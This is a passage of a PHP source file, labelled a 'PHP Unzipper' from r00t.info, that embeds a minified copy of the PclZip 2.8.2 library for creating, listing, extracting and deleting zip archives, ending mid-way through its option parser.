--------------------------------------------------------------------------------\r\n// www.r00t.info    PHP Unzipper, v3.1\r\n// --------------------------------------------------------------------------------\r\n// License GNU/LGPL - r00tinfo- August 2016\r\n// http://www.r00t.info\r\n// --------------------------------------------------------------------------------\r\n if (!defined(\'PCLZIP_READ_BLOCK_SIZE\')) { define( \'PCLZIP_READ_BLOCK_SIZE\', 2048 ); } if (!defined(\'PCLZIP_SEPARATOR\')) { define( \'PCLZIP_SEPARATOR\', \',\' ); } if (!defined(\'PCLZIP_ERROR_EXTERNAL\')) { define( \'PCLZIP_ERROR_EXTERNAL\', 0 ); } if (!defined(\'PCLZIP_TEMPORARY_DIR\')) { define( \'PCLZIP_TEMPORARY_DIR\', \'\' ); } if (!defined(\'PCLZIP_TEMPORARY_FILE_RATIO\')) { define( \'PCLZIP_TEMPORARY_FILE_RATIO\', 0.47 ); } $g_pclzip_version = "2.8.2"; define( \'PCLZIP_ERR_USER_ABORTED\', 2 ); define( \'PCLZIP_ERR_NO_ERROR\', 0 ); define( \'PCLZIP_ERR_WRITE_OPEN_FAIL\', -1 ); define( \'PCLZIP_ERR_READ_OPEN_FAIL\', -2 ); define( \'PCLZIP_ERR_INVALID_PARAMETER\', -3 ); define( \'PCLZIP_ERR_MISSING_FILE\', -4 ); define( \'PCLZIP_ERR_FILENAME_TOO_LONG\', -5 ); define( \'PCLZIP_ERR_INVALID_ZIP\', -6 ); define( \'PCLZIP_ERR_BAD_EXTRACTED_FILE\', -7 ); define( \'PCLZIP_ERR_DIR_CREATE_FAIL\', -8 ); define( \'PCLZIP_ERR_BAD_EXTENSION\', -9 ); define( \'PCLZIP_ERR_BAD_FORMAT\', -10 ); define( \'PCLZIP_ERR_DELETE_FILE_FAIL\', -11 ); define( \'PCLZIP_ERR_RENAME_FILE_FAIL\', -12 ); define( \'PCLZIP_ERR_BAD_CHECKSUM\', -13 ); define( \'PCLZIP_ERR_INVALID_ARCHIVE_ZIP\', -14 ); define( \'PCLZIP_ERR_MISSING_OPTION_VALUE\', -15 ); define( \'PCLZIP_ERR_INVALID_OPTION_VALUE\', -16 ); define( \'PCLZIP_ERR_ALREADY_A_DIRECTORY\', -17 ); define( \'PCLZIP_ERR_UNSUPPORTED_COMPRESSION\', -18 ); define( \'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION\', -19 ); define( \'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE\', -20 ); define( \'PCLZIP_ERR_DIRECTORY_RESTRICTION\', -21 ); define( \'PCLZIP_OPT_PATH\', 77001 ); define( \'PCLZIP_OPT_ADD_PATH\', 77002 ); define( \'PCLZIP_OPT_REMOVE_PATH\', 77003 ); define( \'PCLZIP_OPT_REMOVE_ALL_PATH\', 77004 ); define( \'PCLZIP_OPT_SET_CHMOD\', 77005 ); define( \'PCLZIP_OPT_EXTRACT_AS_STRING\', 77006 ); define( \'PCLZIP_OPT_NO_COMPRESSION\', 77007 ); define( \'PCLZIP_OPT_BY_NAME\', 77008 ); define( \'PCLZIP_OPT_BY_INDEX\', 77009 ); define( \'PCLZIP_OPT_BY_EREG\', 77010 ); define( \'PCLZIP_OPT_BY_PREG\', 77011 ); define( \'PCLZIP_OPT_COMMENT\', 77012 ); define( \'PCLZIP_OPT_ADD_COMMENT\', 77013 ); define( \'PCLZIP_OPT_PREPEND_COMMENT\', 77014 ); define( \'PCLZIP_OPT_EXTRACT_IN_OUTPUT\', 77015 ); define( \'PCLZIP_OPT_REPLACE_NEWER\', 77016 ); define( \'PCLZIP_OPT_STOP_ON_ERROR\', 77017 ); define( \'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION\', 77019 ); define( \'PCLZIP_OPT_TEMP_FILE_THRESHOLD\', 77020 ); define( \'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD\', 77020 ); define( \'PCLZIP_OPT_TEMP_FILE_ON\', 77021 ); define( \'PCLZIP_OPT_ADD_TEMP_FILE_ON\', 77021 ); define( \'PCLZIP_OPT_TEMP_FILE_OFF\', 77022 ); define( \'PCLZIP_OPT_ADD_TEMP_FILE_OFF\', 77022 ); define( \'PCLZIP_ATT_FILE_NAME\', 79001 ); define( \'PCLZIP_ATT_FILE_NEW_SHORT_NAME\', 79002 ); define( \'PCLZIP_ATT_FILE_NEW_FULL_NAME\', 79003 ); define( \'PCLZIP_ATT_FILE_MTIME\', 79004 ); define( \'PCLZIP_ATT_FILE_CONTENT\', 79005 ); define( \'PCLZIP_ATT_FILE_COMMENT\', 79006 ); define( \'PCLZIP_CB_PRE_EXTRACT\', 78001 ); define( \'PCLZIP_CB_POST_EXTRACT\', 78002 ); define( \'PCLZIP_CB_PRE_ADD\', 78003 ); define( \'PCLZIP_CB_POST_ADD\', 78004 ); class PclZip { var $zipname = \'\'; var $zip_fd = 0; var $error_code = 1; var $error_string = \'\'; var $magic_quotes_status; function PclZip($p_zipname) { if (!function_exists(\'gzopen\')) { die(\'Abort \'.basename(__FILE__).\' : Missing zlib extensions\'); } $this->zipname = $p_zipname; $this->zip_fd = 0; $this->magic_quotes_status = -1; return; } function create($p_filelist) { $v_result=1; $this->privErrorReset(); $v_options = array(); $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; $v_size = func_num_args(); if ($v_size > 1) { $v_arg_list = func_get_args(); array_shift($v_arg_list); $v_size--; if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_REMOVE_PATH => \'optional\', PCLZIP_OPT_REMOVE_ALL_PATH => \'optional\', PCLZIP_OPT_ADD_PATH => \'optional\', PCLZIP_CB_PRE_ADD => \'optional\', PCLZIP_CB_POST_ADD => \'optional\', PCLZIP_OPT_NO_COMPRESSION => \'optional\', PCLZIP_OPT_COMMENT => \'optional\', PCLZIP_OPT_TEMP_FILE_THRESHOLD => \'optional\', PCLZIP_OPT_TEMP_FILE_ON => \'optional\', PCLZIP_OPT_TEMP_FILE_OFF => \'optional\' )); if ($v_result != 1) { return 0; } } else { $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0]; if ($v_size == 2) { $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $this->privOptionDefaultThreshold($v_options); $v_string_list = array(); $v_att_list = array(); $v_filedescr_list = array(); $p_result_list = array(); if (is_array($p_filelist)) { if (isset($p_filelist[0]) && is_array($p_filelist[0])) { $v_att_list = $p_filelist; } else { $v_string_list = $p_filelist; } } else if (is_string($p_filelist)) { $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist"); return 0; } if (sizeof($v_string_list) != 0) { foreach ($v_string_list as $v_string) { if ($v_string != \'\') { $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; } else { } } } $v_supported_attributes = array ( PCLZIP_ATT_FILE_NAME => \'mandatory\' ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => \'optional\' ,PCLZIP_ATT_FILE_NEW_FULL_NAME => \'optional\' ,PCLZIP_ATT_FILE_MTIME => \'optional\' ,PCLZIP_ATT_FILE_CONTENT => \'optional\' ,PCLZIP_ATT_FILE_COMMENT => \'optional\' ); foreach ($v_att_list as $v_entry) { $v_result = $this->privFileDescrParseAtt($v_entry, $v_filedescr_list[], $v_options, $v_supported_attributes); if ($v_result != 1) { return 0; } } $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); if ($v_result != 1) { return 0; } $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options); if ($v_result != 1) { return 0; } return $p_result_list; } function add($p_filelist) { $v_result=1; $this->privErrorReset(); $v_options = array(); $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; $v_size = func_num_args(); if ($v_size > 1) { $v_arg_list = func_get_args(); array_shift($v_arg_list); $v_size--; if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_REMOVE_PATH => \'optional\', PCLZIP_OPT_REMOVE_ALL_PATH => \'optional\', PCLZIP_OPT_ADD_PATH => \'optional\', PCLZIP_CB_PRE_ADD => \'optional\', PCLZIP_CB_POST_ADD => \'optional\', PCLZIP_OPT_NO_COMPRESSION => \'optional\', PCLZIP_OPT_COMMENT => \'optional\', PCLZIP_OPT_ADD_COMMENT => \'optional\', PCLZIP_OPT_PREPEND_COMMENT => \'optional\', PCLZIP_OPT_TEMP_FILE_THRESHOLD => \'optional\', PCLZIP_OPT_TEMP_FILE_ON => \'optional\', PCLZIP_OPT_TEMP_FILE_OFF => \'optional\' )); if ($v_result != 1) { return 0; } } else { $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0]; if ($v_size == 2) { $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $this->privOptionDefaultThreshold($v_options); $v_string_list = array(); $v_att_list = array(); $v_filedescr_list = array(); $p_result_list = array(); if (is_array($p_filelist)) { if (isset($p_filelist[0]) && is_array($p_filelist[0])) { $v_att_list = $p_filelist; } else { $v_string_list = $p_filelist; } } else if (is_string($p_filelist)) { $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type \'".gettype($p_filelist)."\' for p_filelist"); return 0; } if (sizeof($v_string_list) != 0) { foreach ($v_string_list as $v_string) { $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; } } $v_supported_attributes = array ( PCLZIP_ATT_FILE_NAME => \'mandatory\' ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => \'optional\' ,PCLZIP_ATT_FILE_NEW_FULL_NAME => \'optional\' ,PCLZIP_ATT_FILE_MTIME => \'optional\' ,PCLZIP_ATT_FILE_CONTENT => \'optional\' ,PCLZIP_ATT_FILE_COMMENT => \'optional\' ); foreach ($v_att_list as $v_entry) { $v_result = $this->privFileDescrParseAtt($v_entry, $v_filedescr_list[], $v_options, $v_supported_attributes); if ($v_result != 1) { return 0; } } $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); if ($v_result != 1) { return 0; } $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options); if ($v_result != 1) { return 0; } return $p_result_list; } function listContent() { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $p_list = array(); if (($v_result = $this->privList($p_list)) != 1) { unset($p_list); return(0); } return $p_list; } function extract() { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $v_options = array(); $v_path = \'\'; $v_remove_path = ""; $v_remove_all_path = false; $v_size = func_num_args(); $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; if ($v_size > 0) { $v_arg_list = func_get_args(); if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_PATH => \'optional\', PCLZIP_OPT_REMOVE_PATH => \'optional\', PCLZIP_OPT_REMOVE_ALL_PATH => \'optional\', PCLZIP_OPT_ADD_PATH => \'optional\', PCLZIP_CB_PRE_EXTRACT => \'optional\', PCLZIP_CB_POST_EXTRACT => \'optional\', PCLZIP_OPT_SET_CHMOD => \'optional\', PCLZIP_OPT_BY_NAME => \'optional\', PCLZIP_OPT_BY_EREG => \'optional\', PCLZIP_OPT_BY_PREG => \'optional\', PCLZIP_OPT_BY_INDEX => \'optional\', PCLZIP_OPT_EXTRACT_AS_STRING => \'optional\', PCLZIP_OPT_EXTRACT_IN_OUTPUT => \'optional\', PCLZIP_OPT_REPLACE_NEWER => \'optional\' ,PCLZIP_OPT_STOP_ON_ERROR => \'optional\' ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => \'optional\', PCLZIP_OPT_TEMP_FILE_THRESHOLD => \'optional\', PCLZIP_OPT_TEMP_FILE_ON => \'optional\', PCLZIP_OPT_TEMP_FILE_OFF => \'optional\' )); if ($v_result != 1) { return 0; } if (isset($v_options[PCLZIP_OPT_PATH])) { $v_path = $v_options[PCLZIP_OPT_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { if ((strlen($v_path) > 0) && (substr($v_path, -1) != \'/\')) { $v_path .= \'/\'; } $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; } } else { $v_path = $v_arg_list[0]; if ($v_size == 2) { $v_remove_path = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $this->privOptionDefaultThreshold($v_options); $p_list = array(); $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options); if ($v_result < 1) { unset($p_list); return(0); } return $p_list; } function extractByIndex($p_index) { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $v_options = array(); $v_path = \'\'; $v_remove_path = ""; $v_remove_all_path = false; $v_size = func_num_args(); $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; if ($v_size > 1) { $v_arg_list = func_get_args(); array_shift($v_arg_list); $v_size--; if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_PATH => \'optional\', PCLZIP_OPT_REMOVE_PATH => \'optional\', PCLZIP_OPT_REMOVE_ALL_PATH => \'optional\', PCLZIP_OPT_EXTRACT_AS_STRING => \'optional\', PCLZIP_OPT_ADD_PATH => \'optional\', PCLZIP_CB_PRE_EXTRACT => \'optional\', PCLZIP_CB_POST_EXTRACT => \'optional\', PCLZIP_OPT_SET_CHMOD => \'optional\', PCLZIP_OPT_REPLACE_NEWER => \'optional\' ,PCLZIP_OPT_STOP_ON_ERROR => \'optional\' ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => \'optional\', PCLZIP_OPT_TEMP_FILE_THRESHOLD => \'optional\', PCLZIP_OPT_TEMP_FILE_ON => \'optional\', PCLZIP_OPT_TEMP_FILE_OFF => \'optional\' )); if ($v_result != 1) { return 0; } if (isset($v_options[PCLZIP_OPT_PATH])) { $v_path = $v_options[PCLZIP_OPT_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; } if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { if ((strlen($v_path) > 0) && (substr($v_path, -1) != \'/\')) { $v_path .= \'/\'; } $v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; } if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) { $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; } else { } } else { $v_path = $v_arg_list[0]; if ($v_size == 2) { $v_remove_path = $v_arg_list[1]; } else if ($v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); return 0; } } } $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index); $v_options_trick = array(); $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick, array (PCLZIP_OPT_BY_INDEX => \'optional\' )); if ($v_result != 1) { return 0; } $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX]; $this->privOptionDefaultThreshold($v_options); if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) { return(0); } return $p_list; } function delete() { $v_result=1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } $v_options = array(); $v_size = func_num_args(); if ($v_size > 0) { $v_arg_list = func_get_args(); $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, array (PCLZIP_OPT_BY_NAME => \'optional\', PCLZIP_OPT_BY_EREG => \'optional\', PCLZIP_OPT_BY_PREG => \'optional\', PCLZIP_OPT_BY_INDEX => \'optional\' )); if ($v_result != 1) { return 0; } } $this->privDisableMagicQuotes(); $v_list = array(); if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) { $this->privSwapBackMagicQuotes(); unset($v_list); return(0); } $this->privSwapBackMagicQuotes(); return $v_list; } function deleteByIndex($p_index) { $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index); return $p_list; } function properties() { $this->privErrorReset(); $this->privDisableMagicQuotes(); if (!$this->privCheckFormat()) { $this->privSwapBackMagicQuotes(); return(0); } $v_prop = array(); $v_prop[\'comment\'] = \'\'; $v_prop[\'nb\'] = 0; $v_prop[\'status\'] = \'not_exist\'; if (@is_file($this->zipname)) { if (($this->zip_fd = @fopen($this->zipname, \'rb\')) == 0) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open archive \\\'\'.$this->zipname.\'\\\' in binary read mode\'); return 0; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privSwapBackMagicQuotes(); return 0; } $this->privCloseFd(); $v_prop[\'comment\'] = $v_central_dir[\'comment\']; $v_prop[\'nb\'] = $v_central_dir[\'entries\']; $v_prop[\'status\'] = \'ok\'; } $this->privSwapBackMagicQuotes(); return $v_prop; } function duplicate($p_archive) { $v_result = 1; $this->privErrorReset(); if ((is_object($p_archive)) && (get_class($p_archive) == \'pclzip\')) { $v_result = $this->privDuplicate($p_archive->zipname); } else if (is_string($p_archive)) { if (!is_file($p_archive)) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename \'".$p_archive."\'"); $v_result = PCLZIP_ERR_MISSING_FILE; } else { $v_result = $this->privDuplicate($p_archive); } } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); $v_result = PCLZIP_ERR_INVALID_PARAMETER; } return $v_result; } function merge($p_archive_to_add) { $v_result = 1; $this->privErrorReset(); if (!$this->privCheckFormat()) { return(0); } if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == \'pclzip\')) { $v_result = $this->privMerge($p_archive_to_add); } else if (is_string($p_archive_to_add)) { $v_object_archive = new PclZip($p_archive_to_add); $v_result = $this->privMerge($v_object_archive); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); $v_result = PCLZIP_ERR_INVALID_PARAMETER; } return $v_result; } function errorCode() { if (PCLZIP_ERROR_EXTERNAL == 1) { return(PclErrorCode()); } else { return($this->error_code); } } function errorName($p_with_code=false) { $v_name = array ( PCLZIP_ERR_NO_ERROR => \'PCLZIP_ERR_NO_ERROR\', PCLZIP_ERR_WRITE_OPEN_FAIL => \'PCLZIP_ERR_WRITE_OPEN_FAIL\', PCLZIP_ERR_READ_OPEN_FAIL => \'PCLZIP_ERR_READ_OPEN_FAIL\', PCLZIP_ERR_INVALID_PARAMETER => \'PCLZIP_ERR_INVALID_PARAMETER\', PCLZIP_ERR_MISSING_FILE => \'PCLZIP_ERR_MISSING_FILE\', PCLZIP_ERR_FILENAME_TOO_LONG => \'PCLZIP_ERR_FILENAME_TOO_LONG\', PCLZIP_ERR_INVALID_ZIP => \'PCLZIP_ERR_INVALID_ZIP\', PCLZIP_ERR_BAD_EXTRACTED_FILE => \'PCLZIP_ERR_BAD_EXTRACTED_FILE\', PCLZIP_ERR_DIR_CREATE_FAIL => \'PCLZIP_ERR_DIR_CREATE_FAIL\', PCLZIP_ERR_BAD_EXTENSION => \'PCLZIP_ERR_BAD_EXTENSION\', PCLZIP_ERR_BAD_FORMAT => \'PCLZIP_ERR_BAD_FORMAT\', PCLZIP_ERR_DELETE_FILE_FAIL => \'PCLZIP_ERR_DELETE_FILE_FAIL\', PCLZIP_ERR_RENAME_FILE_FAIL => \'PCLZIP_ERR_RENAME_FILE_FAIL\', PCLZIP_ERR_BAD_CHECKSUM => \'PCLZIP_ERR_BAD_CHECKSUM\', PCLZIP_ERR_INVALID_ARCHIVE_ZIP => \'PCLZIP_ERR_INVALID_ARCHIVE_ZIP\', PCLZIP_ERR_MISSING_OPTION_VALUE => \'PCLZIP_ERR_MISSING_OPTION_VALUE\', PCLZIP_ERR_INVALID_OPTION_VALUE => \'PCLZIP_ERR_INVALID_OPTION_VALUE\', PCLZIP_ERR_UNSUPPORTED_COMPRESSION => \'PCLZIP_ERR_UNSUPPORTED_COMPRESSION\', PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => \'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION\' ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => \'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE\' ,PCLZIP_ERR_DIRECTORY_RESTRICTION => \'PCLZIP_ERR_DIRECTORY_RESTRICTION\' ); if (isset($v_name[$this->error_code])) { $v_value = $v_name[$this->error_code]; } else { $v_value = \'NoName\'; } if ($p_with_code) { return($v_value.\' (\'.$this->error_code.\')\'); } else { return($v_value); } } function errorInfo($p_full=false) { if (PCLZIP_ERROR_EXTERNAL == 1) { return(PclErrorString()); } else { if ($p_full) { return($this->errorName(true)." : ".$this->error_string); } else { return($this->error_string." [code ".$this->error_code."]"); } } } function privCheckFormat($p_level=0) { $v_result = true; clearstatcache(); $this->privErrorReset(); if (!is_file($this->zipname)) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file \'".$this->zipname."\'"); return(false); } if (!is_readable($this->zipname)) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive \'".$this->zipname."\'"); return(false); } return $v_result; } function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false) { $v_result=1; $i=0; while ($i<$p_size) { if (!isset($v_requested_options[$p_options_list[$i]])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter \'".$p_options_list[$i]."\' for this method"); return PclZip::errorCode(); } switch ($p_options_list[$i]) { case PCLZIP_OPT_PATH : case PCLZIP_OPT_REMOVE_PATH : case PCLZIP_OPT_ADD_PATH : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); $i++; break; case PCLZIP_OPT_TEMP_FILE_THRESHOLD : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option \'".PclZipUtilOptionText($p_options_list[$i])."\' can not be used with option \'PCLZIP_OPT_TEMP_FILE_OFF\'"); return PclZip::errorCode(); } $v_value = $p_options_list[$i+1]; if ((!is_integer($v_value)) || ($v_value<0)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = $v_value*1048576; $i++; break; case PCLZIP_OPT_TEMP_FILE_ON : if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option \'".PclZipUtilOptionText($p_options_list[$i])."\' can not be used with option \'PCLZIP_OPT_TEMP_FILE_OFF\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = true; break; case PCLZIP_OPT_TEMP_FILE_OFF : if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option \'".PclZipUtilOptionText($p_options_list[$i])."\' can not be used with option \'PCLZIP_OPT_TEMP_FILE_ON\'"); return PclZip::errorCode(); } if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option \'".PclZipUtilOptionText($p_options_list[$i])."\' can not be used with option \'PCLZIP_OPT_TEMP_FILE_THRESHOLD\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = true; break; case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } if ( is_string($p_options_list[$i+1]) && ($p_options_list[$i+1] != \'\')) { $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); $i++; } else { } break; case PCLZIP_OPT_BY_NAME : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1]; } else if (is_array($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $i++; break; case PCLZIP_OPT_BY_EREG : $p_options_list[$i] = PCLZIP_OPT_BY_PREG; case PCLZIP_OPT_BY_PREG : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $i++; break; case PCLZIP_OPT_COMMENT : case PCLZIP_OPT_ADD_COMMENT : case PCLZIP_OPT_PREPEND_COMMENT : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'" .PclZipUtilOptionText($p_options_list[$i]) ."\'"); return PclZip::errorCode(); } if (is_string($p_options_list[$i+1])) { $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option \'" .PclZipUtilOptionText($p_options_list[$i]) ."\'"); return PclZip::errorCode(); } $i++; break; case PCLZIP_OPT_BY_INDEX : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_work_list = array(); if (is_string($p_options_list[$i+1])) { $p_options_list[$i+1] = strtr($p_options_list[$i+1], \' \', \'\'); $v_work_list = explode(",", $p_options_list[$i+1]); } else if (is_integer($p_options_list[$i+1])) { $v_work_list[0] = $p_options_list[$i+1].\'-\'.$p_options_list[$i+1]; } else if (is_array($p_options_list[$i+1])) { $v_work_list = $p_options_list[$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_sort_flag=false; $v_sort_value=0; for ($j=0; $j<sizeof($v_work_list); $j++) { $v_item_list = explode("-", $v_work_list[$j]); $v_size_item_list = sizeof($v_item_list); if ($v_size_item_list == 1) { $v_result_list[$p_options_list[$i]][$j][\'start\'] = $v_item_list[0]; $v_result_list[$p_options_list[$i]][$j][\'end\'] = $v_item_list[0]; } elseif ($v_size_item_list == 2) { $v_result_list[$p_options_list[$i]][$j][\'start\'] = $v_item_list[0]; $v_result_list[$p_options_list[$i]][$j][\'end\'] = $v_item_list[1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } if ($v_result_list[$p_options_list[$i]][$j][\'start\'] < $v_sort_value) { $v_sort_flag=true; PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_sort_value = $v_result_list[$p_options_list[$i]][$j][\'start\']; } if ($v_sort_flag) { } $i++; break; case PCLZIP_OPT_REMOVE_ALL_PATH : case PCLZIP_OPT_EXTRACT_AS_STRING : case PCLZIP_OPT_NO_COMPRESSION : case PCLZIP_OPT_EXTRACT_IN_OUTPUT : case 